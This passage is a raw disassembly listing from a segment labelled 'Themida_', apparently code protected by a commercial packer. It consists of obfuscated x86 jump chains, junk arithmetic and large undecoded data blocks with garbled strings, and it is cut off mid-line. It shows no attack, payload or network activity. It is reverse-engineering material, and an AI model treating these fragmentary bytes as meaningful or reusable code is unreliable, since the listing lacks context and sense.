0CF40BF24h, 0FD29E1E7h, 8BEB895Fh, 0BEE9242Ch dd 87000098h, 895C243Ch, 7DE9240Ch, 1000040h, 0C281F2h dd 8B780141h, 2DE92434h, 29FFFFF0h, 5504247Ch, 4F534BBDh dd 0F989E960h, 0DE010000h, 0D7E9525Bh db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5478A3: ; CODE XREF: Themida_:0054983Ej sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], ecx jmp loc_549530 ; --------------------------------------------------------------------------- dd 7FBAEA81h, 1C8B2576h, 4C48324h, 0FFE9CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5478C5: ; CODE XREF: Themida_:00549FF9j mov edi, [esp] jmp loc_54BEC9 ; --------------------------------------------------------------------------- loc_5478CD: ; CODE XREF: Themida_:005534F0j mov ecx, 2 mov edi, ecx mov ecx, [esp] add esp, 4 add ebx, edi jmp loc_543C1B ; --------------------------------------------------------------------------- dd 0D2F6D2F6h, 4E7E9h db 0 ; --------------------------------------------------------------------------- loc_5478ED: ; CODE XREF: Themida_:00544CB0j mov ebx, eax pop eax pop ecx sub ebx, 0D39B1852h xor edi, ebx mov ebx, [esp] add esp, 4 jmp loc_549E99 ; --------------------------------------------------------------------------- db 81h dd 0B1ED81F7h, 5FFB01F1h, 4C381h, 17E90000h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54791B: ; CODE XREF: Themida_:00546CB6j push 0 sub [esp], esi pop esi neg esi xor esi, 7B8F3714h jmp loc_553ACD ; --------------------------------------------------------------------------- db 80h, 0C5h, 0E6h dd 0D5F6C5FEh, 5EFFE9h, 24048B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55202C ; --------------------------------------------------------------------------- loc_547948: ; CODE XREF: Themida_:00545F66j shl ch, 7 neg ch shr ch, 1 xor ch, 0ECh xor al, ch push dword ptr [esp] pop ecx push 35F4h mov [esp], esi mov esi, esp add esi, 4 push 0BFh jmp loc_5572FD ; --------------------------------------------------------------------------- word_547972 dw 8F66h ; DATA XREF: Themida_:00543234o dd 678DE902h, 0FF550000h, 535D240Ch, 32E8BD55h, 0CD81328Bh dd 6934372Bh, 0F701C583h, 0ACE951DDh, 560000EAh, 42474FFh dd 24048F5Eh, 6624248Bh, 9C240409h, 0FFCEE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5479AD: ; CODE XREF: Themida_:00550AE7j push dword ptr [esp] pop ecx push ebp push esi jmp loc_54ED57 ; --------------------------------------------------------------------------- dd 515AD301h, 0FD2238B9h, 59CB290Fh, 26E9C301h, 50000082h dd 58241CF7h, 9BE76857h, 295F915Fh, 0C7895FF8h, 5624048Bh dd 0C681E689h, 4, 8704C683h, 0F75C2434h, 4EC83DFh, 0BA241489h dd 5F924CD3h, 82EA8142h, 8174C862h, 7E2F07E2h, 0C1EA816Ah dd 1FF60DBh, 71E95AD7h, 31000012h, 0E8E92404h, 5D0000C8h dd 0F74A4A4Ah, 55C281D2h, 0E9AA4D86h, 0FFFFEA73h, 98B280B3h dd 0D05BDA30h, 0FB6EE9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547A3E: ; CODE XREF: Themida_:005524EFj push ecx pop esi pop ecx jmp loc_544F62 ; --------------------------------------------------------------------------- dw 525Dh dd 4BAh, 0E9D70100h, 0A6B9h ; --------------------------------------------------------------------------- loc_547A54: ; CODE XREF: Themida_:00548B03j mov [esp], esp add dword ptr [esp], 4 jmp loc_555E58 ; --------------------------------------------------------------------------- dword_547A60 dd 0E92434FFh, 0CA4Ah, 8092E95Eh, 0FA010000h, 710CEA81h ; DATA XREF: Themida_:00542FF8o dd 15F2E8Eh, 0F5815AD5h, 2FA2527Dh, 8302E5C1h, 0C9E904ECh dd 104h, 0D82859EBh, 0F6DCE9h, 781DB800h, 0C90D0D25h, 2551E606h dd 44FB2DB6h, 512F5225h, 19D9E91Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547AAE: ; CODE XREF: Themida_:005505B5j add ebp, 4 jmp loc_550ED7 ; --------------------------------------------------------------------------- loc_547AB9: ; CODE XREF: Themida_:00552044j push 79h mov [esp], edx mov dh, cl push ecx mov cl, dh mov bh, cl jmp loc_54C33F ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 3707E9h db 0 byte_547AD5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005431D0o dd 0E92434FFh, 2DA9h ; --------------------------------------------------------------------------- loc_547AE0: ; CODE XREF: Themida_:00557AF8j xor eax, edx push dword ptr [esp] pop edx jmp loc_54C89C ; --------------------------------------------------------------------------- db 81h dd 4C4h, 45B85000h, 0D50AD11h, 268D377Ah, 0A5A2E9h db 0 ; --------------------------------------------------------------------------- loc_547B01: ; CODE XREF: Themida_:00557697j pop ecx jmp loc_54B791 ; --------------------------------------------------------------------------- loc_547B07: ; CODE XREF: Themida_:00548B2Bj mov esp, [esp] mov [esp], dx push ax pushf jmp loc_54329B ; --------------------------------------------------------------------------- loc_547B16: ; CODE XREF: Themida_:00556AFFj mov [esp], ecx mov ecx, 495B2DE8h or ecx, 1DBB25CCh push ecx push eax push dword ptr [esp+4] jmp loc_5480BF ; --------------------------------------------------------------------------- db 5Bh dd 2C29BF57h, 0E7816441h, 3BC4161Fh, 2FD7BE56h, 0C6812411h dd 48F73E7Bh, 0C695C681h, 0F731F5FDh, 0E950475Eh, 65D6h dd 38B850h, 0D0010000h, 34E23081h, 0FF580308h, 23E92434h db 7, 2 dup(0) byte_547B6F db 66h ; DATA XREF: Themida_:00543190o dd 6824048Bh, 332h, 0FFD30EE9h db 0FFh ; --------------------------------------------------------------------------- loc_547B7D: ; CODE XREF: Themida_:00543B86j or ecx, esi mov esi, [esp] add esp, 4 add ecx, 735C3903h jmp loc_554EEB ; --------------------------------------------------------------------------- dd 33240431h, 248B2404h, 0E0895024h, 4EC81h, 34890000h dd 4BE24h, 0AC2D0000h, 117CE42h, 42AC05F0h, 34FF17CEh dd 0EE70E924h, 0D768FFFFh, 8B693826h, 0C4832414h, 0CC28104h dd 4A270F05h, 0F1E6EA81h, 0EDE923AAh db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547BDB: ; CODE XREF: Themida_:0054BB49j xor ebp, [esp] mov esp, [esp] jmp loc_54723B ; --------------------------------------------------------------------------- dw 835Ah dd 0FDE904C4h, 0D1FFFFC5h, 0ABF181E1h, 31BB917Eh, 26C6E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547BFE: ; CODE XREF: Themida_:00557D3Ej mov edx, ecx pop ecx add ebx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_543BE8 ; --------------------------------------------------------------------------- loc_547C11: ; CODE XREF: Themida_:005486E3j mov ebx, esp push esi sub esp, 4 jmp loc_556FE8 ; --------------------------------------------------------------------------- loc_547C1C: ; CODE XREF: Themida_:00546E43j mov ebx, 219B7D27h add ebx, 75883A40h push 56A9h mov [esp], eax push 41540F98h pop eax inc eax inc eax xor eax, 5F6963F9h neg eax xor eax, 3CBA6D6Fh jmp loc_54C0D6 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0B9C8h, 0DFF7DFF7h dd 76C781h, 0F901F876h, 0C1835F5Fh, 240C8704h, 0E873E95Ch dd 14890000h, 0E904E924h, 44010000h, 0FF580424h, 1C8B2434h dd 4EC8124h, 0E9000000h, 0E432h, 4C281h, 0EA830000h, 24148704h dd 56BE95Ch, 0C1810000h, 0D81C374Ch, 0FFCCD2E9h, 0A7B151FFh dd 28F6B551h, 0B55159EBh, 0ADC580CDh, 5049C380h, 37E919B4h dd 330000DEh, 1C31241Ch, 241C3324h, 6824248Bh, 3793h, 54240489h dd 0FFCCBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_547CE5: ; CODE XREF: Themida_:00547791j pop esi sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 64474048h mov edx, edi pop edi push esi mov esi, 47B00F06h xor edx, esi pop esi push ecx jmp loc_547E31 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 57242489h, 0F8EBE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547D1A: ; CODE XREF: Themida_:005480C5j xchg eax, [esp] pop ecx sub esp, 4 mov [esp], ebp mov ebp, 15BA52BCh push esi mov esi, 85F14C7h and ebp, esi pop esi not ebp neg ebp inc ebp and ebp, 798B5034h jmp loc_556B17 ; --------------------------------------------------------------------------- dw 4BFh dd 0E9000000h, 3E44h ; --------------------------------------------------------------------------- loc_547D4C: ; CODE XREF: Themida_:00554F22j sub esp, 4 jmp loc_556CF8 ; --------------------------------------------------------------------------- db 28h dd 6934E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547D5E: ; CODE XREF: Themida_:0054FF1Fj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_546FF4 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 97h aSPnS db 'S╩ыPN$И]╫',0 dw 0BA00h dd 0D4DEA71Eh, 0B474E9h, 4C48100h, 81000000h, 4C7h, 4BB5300h dd 81000000h, 0E95D17C7h, 56505105h, 17ABD55h, 33BE00ABh dd 29021A40h, 12B85DEEh, 0E9321A7Eh, 2720h, 0C0E9D731h dd 83FFFFD3h, 48F04C4h, 0E9D6F724h, 0C7CEh, 0E904EAC1h dd 0FFFFD259h, 0F280C2FEh, 0FF65E9D5h, 52530000h, 0C93D2FBAh dd 3EAC134h, 2E7AE281h, 0F2817696h, 13C94FDFh, 4EFC281h dd 6BE95638h, 810000D7h, 350FFAF3h, 0EB834B12h, 0FBC38101h dd 2139A839h, 241C8BDFh, 0D104C483h, 16EF81E7h, 0E9DD8EF1h dd 66ABh, 65C068h, 243C8900h, 2109E9h db 0 ; --------------------------------------------------------------------------- loc_547E31: ; CODE XREF: Themida_:00547D05j mov ecx, 462959F7h push esi jmp loc_54E906 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 25E90000h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547E4F: ; CODE XREF: Themida_:00552164j add esi, 4 jmp loc_54432E ; --------------------------------------------------------------------------- dw 0FCB7h dd 0E95BFE08h, 8D2Eh, 5BD90959h, 0FFFFBB53h, 0D901FFFFh dd 1CBF575Bh, 212FC864h, 7972E9F9h db 2 dup(0) word_547E7E dw 30ACh ; DATA XREF: Themida_:00543108o dd 0EC8352D8h, 241C8904h, 0DCE9DCB7h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547E8F: ; CODE XREF: Themida_:00547FD2j pop ecx jmp loc_55680E ; --------------------------------------------------------------------------- db 0D3h, 2Ch, 24h dd 0B3FDE99Ch, 0D831FFFFh, 2444015Bh, 27D5E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547EAA: ; CODE XREF: Themida_:0054CB1Aj mov [esp], ecx sub esp, 4 mov [esp], esi push edi mov edi, 557507B3h jmp loc_55469E ; --------------------------------------------------------------------------- a341434Sc db '34$14$34$\ИC°',0 dd 0B7EE8100h, 1409F0Ah, 0B7C681FEh, 5F409F0Ah, 4EE81h dd 34870000h, 3C895C24h, 2474FF24h, 2434FF04h, 0E9243C8Bh dd 5DD0h ; --------------------------------------------------------------------------- loc_547EF8: ; CODE XREF: Themida_:0054C6D1j sub edi, esi sub edi, 74EF4D48h pop esi jmp loc_550A4F ; --------------------------------------------------------------------------- loc_547F06: ; CODE XREF: Themida_:0054939Bj dec eax sub eax, 6BDA07B8h xchg eax, edx jmp loc_556433 ; --------------------------------------------------------------------------- loc_547F12: ; CODE XREF: Themida_:00553C4Cj sub ebx, 6ABB7B4Ah pop ebp xchg ebx, [esp] pop esp mov [esp], esp push eax mov eax, 4 add [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_549CBA ; --------------------------------------------------------------------------- dd 45BE953h, 0BA520000h, 50912E39h, 0D1CBC281h, 0EB81AF6Eh dd 41B430E5h, 1EE9D301h, 50FFFFE5h, 6A4349B8h, 0BDBF577Ah dd 0C165B238h, 0F78107EFh, 5CDF13EBh, 0C634E9h, 3C336600h dd 3C316624h, 9B6EE924h, 0BE560000h, 69916B86h, 0FFE38EE9h db 0FFh ; --------------------------------------------------------------------------- loc_547F89: ; CODE XREF: Themida_:0055416Fj push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_545222 ; --------------------------------------------------------------------------- db 81h dd 0C402E8EAh, 2AC28116h, 0E9AB9689h, 39E8h, 4244481h dd 3D98131Ch, 0F705585Fh, 521F036Bh, 0FFD551E9h, 0A4C681FFh dd 0E9F6C420h, 0A170h ; --------------------------------------------------------------------------- loc_547FC8: ; CODE XREF: Themida_:00552532j sub cl, 0Ch dec cl xor cl, 26h mov dl, cl jmp loc_547E8F ; --------------------------------------------------------------------------- db 5 dd 79F02E9Dh, 2A41E9h, 241C8900h, 0FFE986E9h, 0C7815FFFh dd 4, 6CBBE9h, 4C28100h, 81000000h, 4C2h, 24148700h, 3969E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54800A: ; CODE XREF: Themida_:005497B6j add ecx, 4 xchg ecx, [esp] pop esp xor ebp, 0FE766BEAh jmp loc_548385 ; --------------------------------------------------------------------------- loc_54801F: ; CODE XREF: Themida_:00546855j push ebp mov ebp, 31D7D04h not ebp dec ebp push 6FD3h mov [esp], edi push eax mov eax, 65854361h mov edi, eax pop eax or edi, 679C5B39h jmp loc_556E6E ; --------------------------------------------------------------------------- dd 4C1835Ah, 2474FF51h, 2BE5E904h, 0E9560000h, 6BD6h ; --------------------------------------------------------------------------- loc_548058: ; CODE XREF: Themida_:00547021j pop edi xchg esi, [esp] jmp loc_556C4D ; --------------------------------------------------------------------------- byte_548061 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00543174o aHby db '$hby',0 align 2 dw 1C89h dd 815B5424h, 4C3h, 4EC8100h, 89000000h, 268242Ch, 5D000000h dd 8904EC83h, 0F7B82404h, 35168024h, 6CEA5080h, 439CE9h db 0 ; --------------------------------------------------------------------------- loc_548099: ; CODE XREF: Themida_:0054B02Cj mov esi, 67BE30FEh not esi inc esi add esi, 0B9F4E23h xor esi, 0E4FBAA6h xor ecx, esi pop esi jmp loc_54D670 ; --------------------------------------------------------------------------- loc_5480B5: ; CODE XREF: Themida_:0055633Ej mov ebp, 50E843C6h jmp loc_5558F6 ; --------------------------------------------------------------------------- loc_5480BF: ; CODE XREF: Themida_:00547B2Aj pop eax pop dword ptr [esp] neg eax jmp loc_547D1A ; --------------------------------------------------------------------------- loc_5480CA: ; CODE XREF: Themida_:00548660j push ecx push 5AEBh mov [esp], ebp mov ebp, 7EE711EBh mov ecx, 0AF416AC3h jmp loc_54BD3E ; --------------------------------------------------------------------------- dw 248Bh dd 0C8B6624h, 37896824h, 1C890000h, 0BFFDE924h, 0D9310000h dd 0ABC1815Bh, 1FD544Bh, 335F59CDh, 2C31242Ch, 242C3324h dd 0F624248Bh, 0B60F66F9h, 0E86866CCh, 0C89665Eh, 0B60F6624h dd 9C5166C8h, 0FFB172E9h, 4EC81FFh, 89000000h, 0E954243Ch dd 563Ah dword_548138 dd 0E932FF66h, 0FFFFB15Bh ; DATA XREF: Themida_:005431B4o ; --------------------------------------------------------------------------- loc_548140: ; CODE XREF: Themida_:0054A390j mov esi, edi jmp loc_5501E5 ; --------------------------------------------------------------------------- db 89h dd 0D90158C3h, 26BD555Bh, 811D2364h, 236422F5h, 1FE9E91Dh dd 28BF0000h, 81567A35h, 0AA3251EFh, 77F78138h, 29441E5Bh dd 0ED815FFDh, 6AEB4352h, 0E924148Bh, 0A4ACh, 295EF301h dd 55EB81C3h, 0E965D636h, 4A04h dword_548190 dd 4EC8351h, 57242489h, 4BFh, 247C0100h, 56595F04h, 0F252E9h ; DATA XREF: Themida_:00542FD4o dd 24048100h, 4, 4C5815Dh, 0E9000000h, 6605h, 5C240487h dd 0FFFAB1E9h, 4EC83FFh, 0C6D8E9h db 0 ; --------------------------------------------------------------------------- loc_5481CD: ; CODE XREF: Themida_:00556C07j push edx push ecx mov cl, 86h not cl inc cl jmp loc_55252C ; --------------------------------------------------------------------------- dw 4BEh dd 0E9000000h, 0FA2Bh, 636AC381h, 0FB295E5Bh, 9F11E9h db 0 ; --------------------------------------------------------------------------- loc_5481F1: ; CODE XREF: Themida_:0054693Aj pop edx jmp loc_55307D ; --------------------------------------------------------------------------- db 68h dd 65ADh, 89240489h, 405E0h, 0EC830000h, 242C8904h, 0D777E9h dd 24348900h, 5E6E4168h, 45E95E5Fh, 89FFFFBBh, 0E951243Ch dd 0F233h, 6CD7BE56h, 0E6812576h, 448127E4h, 31FCC681h dd 0EEC13959h, 47B85007h, 53A5A05h, 2F92697Dh, 2256E9h db 0 ; --------------------------------------------------------------------------- loc_54824D: ; CODE XREF: Themida_:00556F2Ej xor eax, 61B36A57h xor ebx, eax jmp loc_550E8E ; --------------------------------------------------------------------------- byte_548259 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054304Co dd 0EC835024h, 0E904h, 24890000h, 24048324h, 89525804h dd 4C281E2h, 83000000h, 836804EAh, 89000008h, 74FF2414h dd 0E95A0424h, 0F423h, 0BA35E95Bh, 515BFFFFh, 0B850E189h dd 4, 48BC101h, 4C48124h, 81000000h, 4C1h, 240C3300h, 33240C31h dd 248B240Ch, 4EC8124h, 89000000h, 5052242Ch, 9F8DE9h dd 786D6800h, 0C890000h, 2C8BB924h, 0D7E97F40h, 290000A7h dd 0EEF3E9DEh, 0C8010000h, 0BA77652Dh, 0E9565972h, 81B8h ; --------------------------------------------------------------------------- loc_5482F0: ; CODE XREF: Themida_:005493B5j push 176Ah jmp loc_54E0D5 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFDF25h, 5C240487h, 24042166h, 0AF8DE99Ch, 0C501FFFFh dd 242C3358h, 33242C31h, 38E9242Ch db 0CDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54831F: ; CODE XREF: Themida_:00552B9Aj mov ebx, ebp mov edx, ebx pop ebx pop ebp loc_548325: ; CODE XREF: Themida_:0055638Bj ; Themida_:00558264j push dword ptr [edi+24h] push dword ptr [esp] pop ecx push 5BEEh mov [esp], ebx push esp jmp loc_549503 ; --------------------------------------------------------------------------- loc_54833A: ; CODE XREF: Themida_:00552816j add esp, 4 and ecx, esi jmp loc_54F9DC ; --------------------------------------------------------------------------- loc_548347: ; CODE XREF: Themida_:005508F3j mov ebx, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] pop esp shr ebp, 3 sub ebp, 276C16A1h jmp loc_546879 ; --------------------------------------------------------------------------- loc_54836C: ; CODE XREF: Themida_:005450BAj push dword ptr [esp] pop eax add esp, 4 add esp, 4 push ecx jmp loc_54C541 ; --------------------------------------------------------------------------- dd 243C3166h, 0FFFBECE9h db 0FFh ; --------------------------------------------------------------------------- loc_548385: ; CODE XREF: Themida_:0054801Aj add ebx, ebp jmp loc_54D5F0 ; --------------------------------------------------------------------------- dd 47FBEF81h, 0F8010080h, 0FFC623E9h, 4BBFFh, 0DE010000h dd 72EEE9h db 0 ; --------------------------------------------------------------------------- loc_5483A5: ; CODE XREF: Themida_:0054A49Ej pop edx mov ebx, [esp] push eax jmp loc_556F65 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E2895200h, 4C281h, 52E90000h, 3100002Eh, 2434FFE8h dd 112D685Dh, 14890000h, 815A5424h, 4C2h, 4EA8300h, 8B241487h dd 4892424h, 55585424h, 4BDh, 54EDE900h, 52660000h, 8032B551h dd 0E5C031F5h, 43CAE905h, 34890000h, 4BE24h, 0F0010000h dd 0E924348Bh, 4EFAh, 4EC8159h, 0E9000000h, 0FFFFC0D7h dd 5C240C33h, 9C2424D3h, 0FFAE6EE9h, 5BDE31FFh, 4E9D6F7h db 8Bh, 2 dup(0) byte_548437 db 64h ; DATA XREF: Themida_:00543158o dd 5CE932FFh, 83FFFFAEh, 0D60104C4h, 30ECC681h, 0C6810A92h dd 39242694h, 2C6835Ah, 0FFF39FE9h, 4D7705FFh, 0F0016C28h dd 284D772Dh, 0FF505E6Ch, 8B042474h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_554249 ; --------------------------------------------------------------------------- dw 0E959h dd 1B02h, 0B5FBE952h db 2 dup(0FFh) word_548482 dw 8B66h ; DATA XREF: Themida_:005430B8o dd 3D68240Ch, 89000063h, 95E92414h, 81000067h, 0A02572C3h dd 5ACB8119h, 81489E41h, 36425CBh, 2E3C163h, 7FFCEB81h dd 0E95172B1h, 0BE3Dh, 0E9FFC183h, 0FDD9h, 7BFABB53h, 0D3F77354h dd 39A8CB81h, 0D14B76FAh, 27E068EBh, 14890000h, 1F6E6824h dd 148B37F6h, 4C48324h, 3A2BC281h, 0D301AAAAh, 0BEF3815Ah dd 4B004164h, 0C63CE9h, 5BB5300h, 0B8151F2Ah, 151F2A01h dd 0FFF999E9h, 0AEB850FFh, 312A2CE7h, 24048BC6h, 8304C483h dd 0AEE904ECh, 51000065h, 66BFE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548522: ; CODE XREF: Themida_:00543D2Cj xchg ebx, [esp] jmp loc_54A218 ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 0FF042454h, 0E95A2434h, 33EDh, 87E95B54h dd 58000025h, 0A333E9h db 0 byte_548549 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054301Co dd 0D359669Dh, 0E99C241Ch, 0FFFFAD43h dword_548558 dd 582434FFh, 8B93E9h, 34D0F600h, 0AFEDE983h ; DATA XREF: Themida_:00543020o db 2 dup(0) ; --------------------------------------------------------------------------- loc_54856A: ; CODE XREF: Themida_:0054F7AAj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push ebx push 507Dh mov [esp], edi push ebp mov ebp, 76954DABh and ebp, 67736E04h jmp loc_54BC7D ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 68468h, 24048900h, 714068h, 24248900h, 4B951h, 4C010000h dd 58590424h, 405h, 0B9E1E900h db 2 dup(0) word_5485BE dw 34FFh ; DATA XREF: Themida_:00542FFCo dd 0EC815924h, 4, 68242C89h, 956h, 9F78E9h, 70F38100h dd 2175051Eh, 0EA815BDAh, 1090ADA8h, 3E9D321h, 6800006Bh dd 5568h, 0FFC883E9h, 243C89FFh, 4126E9h, 59CA2900h, 8CCEA81h dd 0CA01086Fh, 6D0E68h, 0B963E900h, 1590000h, 8DC681EEh dd 8178DD77h, 2C1740C6h, 242C8B36h, 8104C483h, 2EEh, 24348700h dd 6624248Bh, 0E9240489h, 0FFFFAC5Fh, 50C4BB59h, 0D301AE76h dd 2F83E95Ah, 1C890000h, 3FE8BB24h, 0C68120B2h, 549C793Ch dd 23EDE9h db 0 ; --------------------------------------------------------------------------- loc_54865D: ; CODE XREF: Themida_:0054A21Ej mov [esp], ebp jmp loc_5480CA ; --------------------------------------------------------------------------- loc_548665: ; CODE XREF: Themida_:005454B0j push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, 77ECA4D7h xor edx, eax pop eax mov [edi+20h], edx push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_548692: ; CODE XREF: Themida_:loc_55092Bj ; Themida_:005522A0j push dword ptr [esp] mov ebx, [esp] jmp loc_54F4DF ; --------------------------------------------------------------------------- loc_54869D: ; CODE XREF: Themida_:0055394Ej xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_54329B ; --------------------------------------------------------------------------- dword_5486B0 dd 4EC81h, 4890000h, 5E08924h, 4, 1B2968h, 242C8900h, 0FFD7C6E9h ; DATA XREF: Themida_:005431D8o db 0FFh ; --------------------------------------------------------------------------- loc_5486CD: ; CODE XREF: Themida_:005493C1j mov ebx, 54861E10h shr ebx, 6 push esi mov esi, 1E700090h jmp loc_54A817 ; --------------------------------------------------------------------------- loc_5486E0: ; CODE XREF: Themida_:0054EE53j mov [esp], ebx jmp loc_547C11 ; --------------------------------------------------------------------------- loc_5486E8: ; CODE XREF: Themida_:00549E7Dj add esp, 4 add eax, 4 push ecx jmp loc_550750 ; --------------------------------------------------------------------------- db 1, 0C2h, 0E9h dd 9C19h, 340868h, 243C8900h, 42474FFh, 0FFC62DE9h, 5AF388FFh dd 88505A59h, 0E9E188DCh, 0B56h ; --------------------------------------------------------------------------- loc_548720: ; CODE XREF: Themida_:0054AE42j pop esp mov [esp], edx mov edx, 4 sub edi, 764F0E5Ch add edi, edx push eax mov eax, 764F0E5Ch add edi, eax jmp loc_54C0FA ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_557707 ; --------------------------------------------------------------------------- db 0BDh dd 506F3848h, 525DEE01h, 7C45BD55h, 0C581581Dh, 412A0430h dd 2EDC14Dh, 7014C581h, 0EA8957EAh, 8BD6095Dh, 0C4812414h dd 4, 0E953DEF7h, 0FFFFC569h, 48BC709h, 28F7E924h, 0D8280000h dd 0E951532Ch, 97BFh ; --------------------------------------------------------------------------- loc_548798: ; CODE XREF: Themida_:005495BDj pop edx push esi mov esi, esp jmp loc_549479 ; --------------------------------------------------------------------------- db 81h, 0F2h, 1Eh dd 89009A00h, 0A0E95AD7h, 810000C0h, 6BCA12E9h, 0DCC381C9h dd 29200649h, 0DCEB81CBh, 59200649h, 0C381D301h, 6CB236E4h dd 5A2434FFh, 4C481h, 0BD550000h, 2, 5D2EC381h, 0EB292EB4h dd 5D2EEB81h, 2C8B2EB4h, 4C48124h, 87000000h, 665C241Ch dd 0E9240C89h, 5D37h, 315DEA31h, 0BB535AD1h, 0C2E8CD31h dd 685BD901h, 71B4h, 89240C89h, 4C181E1h, 81000000h, 4E9h dd 240C8700h, 2434895Ch, 676EC468h, 0E1E95E26h, 810000ACh dd 6D7756CFh, 54F7810Fh, 10F6D7Fh, 2434FFFBh, 4C4835Fh dd 31241C33h, 1C33241Ch, 3B64E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54885A: ; CODE XREF: Themida_:0054418Cj and ecx, 7577463Ch jmp loc_5518BE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 1B8Ch, 485AD089h, 0DCB95148h, 0E94BBF47h dd 3DB5h, 9645C381h, 0D9292947h, 0BD55515Bh, 1, 4246C01h dd 0D1F4E9h, 24043300h, 2434FF5Ch, 0E92434FFh, 0FFFFFFBDh ; --------------------------------------------------------------------------- loc_5488A8: ; CODE XREF: Themida_:005504C4j sub ecx, 0D24C0h add esi, ecx pop ecx push ebp push 4F3C0C20h pop ebp xor ebp, 788F4459h and ebp, 3F5D6043h add ebp, 71542607h jmp loc_54944A ; --------------------------------------------------------------------------- loc_5488CF: ; CODE XREF: Themida_:0054B3D5j xchg esi, [esp] mov esp, [esp] mov [esp], eax jmp loc_54329B ; --------------------------------------------------------------------------- loc_5488DD: ; CODE XREF: Themida_:0054C1B2j sub esp, 4 mov [esp], edi push 430449ECh pop edi add edx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_54329B ; --------------------------------------------------------------------------- aBBs db '│гbSь',0 db 1 aBqbs db 'в│ОbSь',0 db 81h dd 0FF3464C7h, 24148B12h, 0C1C2E9h, 48F5D00h, 24248B24h dd 0E168F1F7h, 8900000Fh, 9C502414h, 0FFA96AE9h, 4C781FFh dd 33000000h, 3C31243Ch, 243C3324h, 0E924248Bh, 0DD35h dd 6DF9BB53h, 0F3813182h, 7B1F6D71h, 0E952D3F7h, 0FFFFF41Fh ; --------------------------------------------------------------------------- loc_54895C: ; CODE XREF: Themida_:005475EDj sub ebx, 4DA20A45h inc ebx dec ebx xor ebx, 2A0A49CBh neg ebx add ebx, 927208B4h add ecx, ebx pop ebx push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp] pop esp shr eax, 0Eh xor eax, ecx push 2B28h mov [esp], eax push edx push dword ptr [esp+4] jmp loc_54E506 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EAh dd 9665574Fh, 148BD301h, 0E2895224h, 4C281h, 0C2810000h dd 4, 6F5E9h, 242C8900h, 0BD493CBDh, 0EA1AE96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5489C6: ; CODE XREF: Themida_:00546B4Dj push edx jmp loc_5559EB ; --------------------------------------------------------------------------- loc_5489CC: ; CODE XREF: Themida_:0054C3A8j push eax mov eax, 72B142Bh xor esi, eax push dword ptr [esp] jmp loc_54C075 ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC83242Ch, 241C8904h, 8879FFBBh, 81E3D10Eh dd 0DA1A6EC3h, 0FCBE5666h, 21279723h, 0F3815EF3h, 537429B5h dd 0E95BDD89h, 0AAE9h ; --------------------------------------------------------------------------- loc_548A0C: ; CODE XREF: Themida_:00549A65j mov cl, 27h add cl, 4Bh push ecx mov cl, 0A4h jmp loc_5443B8 ; --------------------------------------------------------------------------- db 68h, 98h, 3Dh dd 24890000h, 4BD5524h, 1000000h, 5D04246Ch, 0F5D5E9h dd 96F18100h, 51608F16h, 592414F7h, 0B445E9h, 5AD30100h dd 5C241C87h, 3014BB2Dh, 5F0011Dh, 1D3014BBh, 0E924348Bh dd 655Ah db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55156A ; --------------------------------------------------------------------------- loc_548A6B: ; CODE XREF: Themida_:0054419Dj mov [esp], edi mov edi, 515413D5h shr edi, 2 sub edi, 9817FDDh or edi, 377620FFh not edi shr edi, 5 xor edi, 75106A13h jmp loc_54BD38 ; --------------------------------------------------------------------------- dw 0E335h dd 